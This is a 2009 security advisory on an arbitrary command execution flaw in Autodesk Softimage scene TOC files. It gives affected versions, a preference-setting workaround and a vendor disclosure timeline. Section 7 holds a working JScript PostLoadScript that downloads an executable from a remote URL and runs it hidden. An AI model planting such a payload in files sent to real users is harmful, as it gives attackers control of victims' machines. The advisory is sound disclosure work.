Autodesk SoftImage Scene TOC Arbitrary Command Execution
1. Advisory Information
Title: Autodesk SoftImage Scene TOC Arbitrary Command Execution
Advisory Id: CORE-2009-0908
Advisory URL: http://www.coresecurity.com/content/softimage-arbitrary-command-execution
Date published: 2009-11-23
Date of last update: 2009-11-20
Vendors contacted: Autodesk
Release mode: User release
2. Vulnerability Information
Class: Failure to Sanitize Data into a Different Plane [CWE-74]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 36637
CVE Name: CVE-2009-3576
3. Vulnerability Description
Autodesk Softimage [2] is a 3D computer graphics application for producing 3D computer graphics, 3D modeling, and computer animation. Autodesk Softimage by default saves a .scntoc file along with the scene content tree. The scene TOC (scene table of contents) is an XML-based file that contains scene information. When you open a scene file, Softimage looks for a corresponding scene TOC file and automatically reads and applies the information it contains. Scene TOC XML files can be modified to execute arbitrary commands without user intervention by design. An attacker can take full control of the machine where SoftImage is installed by sending a specially crafted scene package and enticing the user to open it.
4. Vulnerable packages
- Autodesk Softimage 7.x
- Autodesk Softimage XSI 6.x
5. Vendor Information, Solutions and Workarounds
The vendor did not provide fixes or workaround information.
You can disable the default reading of SCTOC script by following these steps:
- Go to File > Preferences > Data Management > Files tab
- Uncheck "Read scene TOC (Table of Contents) file on load".
6. Credits
This vulnerability was discovered and researched by Diego Juarez, Fernando Arnaboldi and Federico Charosky from Core Security Technologies during Bugweek 2009 [1].
The publication of this advisory was coordinated by Fernando Russ from Core Security Advisories Team.
7. Technical Description / Proof of Concept Code
Autodesk Softimage by default saves a .scntoc file along with the scene content tree. The scene TOC (scene table of contents) is an XML-based file that contains scene information. When you open a scene file, Softimage looks for a corresponding scene TOC file and automatically reads and applies the information it contains. One of the "benefits" of the TOC file is that you can edit it to run a script automatically after loading a scene without user intervention by default.
As Proof of Concept we created a new project in Softimage, added some geometry, and saved it. Sure enough, along the .scn a .scntoc was created. We then proceeded to modify the XML like this:
<PostLoadScript> <Language>JScript</Language> <Function></Function> <Script_Content> <![cdata[ var s=new ActiveXObject('WScript.Shell'); var o=new ActiveXObject('ADODB.Stream'); var e=s.Environment('Process'); var u='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'; var b=e.Item('TEMP')+'agent.exe'; var x=new ActiveXObject('Microsoft.XMLHTTP'); //x=new ActiveXObject('MSXML2.ServerXMLHTTP'); if(!x) exit(0); x.open('GET',u,0); x.send(null); o.Type=1; o.Mode=3; o.Open(); o.Write(x.responseBody); o.SaveToFile(b,2); s.Run(b,0); ]] > </Script_Content> </PostLoadScript>
8. Report Timeline
- 2009-08-25: Core Security Technologies ask the Autodesk Assistance Team for a security contact to report the vulnerability.
- 2009-09-22: Core asks the Autodesk Assistance Team for a security contact to report the vulnerability.
- 2009-10-09: Core contacts CERT to obtain security contact information for Autodesk.
- 2009-10-16: CERT acknowledges the communication.
- 2009-10-19: CERT sends their available contact information for Autodesk.
- 2009-10-19: Core notifies Autodesk of the vulnerabilty report and announces its initial plan to publish the content on November 2nd, 2009. Core requests an acknoledgement within two working days and asks whehter the details should be sent encrypted or in plaintext.
- 2009-10-19: Autodesk acknowledges the report and requests the information to be provided in encrypted form.
- 2009-10-20: Core sends draft advisory and steps to reproduce the issue.
- 2009-10-27: Core asks Autodesk about the status of the vulnerability report sent on October 20th, 2009.
- 2009-10-27: Autodesk acknowledges the communication indicating that the pertinent Product Managers have been informed and are formulating a response.
- 2009-11-06: Core notifies Autodesk about the missed deadline of November 2nd, 2009 and reuqests an status update. Publication of CORE-2009-0908 is re-scheduled to November 16th, 2009 and is subject to change based on concrete feedback from Autodesk.
- 2009-11-23: Given the lack of response from Autodesk, Core decides to publish the advisory CORE-2009-0908 as "user release".
9. References
[1] The authors participated in Core Bugweek 2009 as members of the team "Gimbal Lock N Load".
[2] http://usa.autodesk.com/adsk/servlet/pc/index?siteID=123112&id=13571168
10. About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs.
11. About Core Security Technologies
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.
13. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team.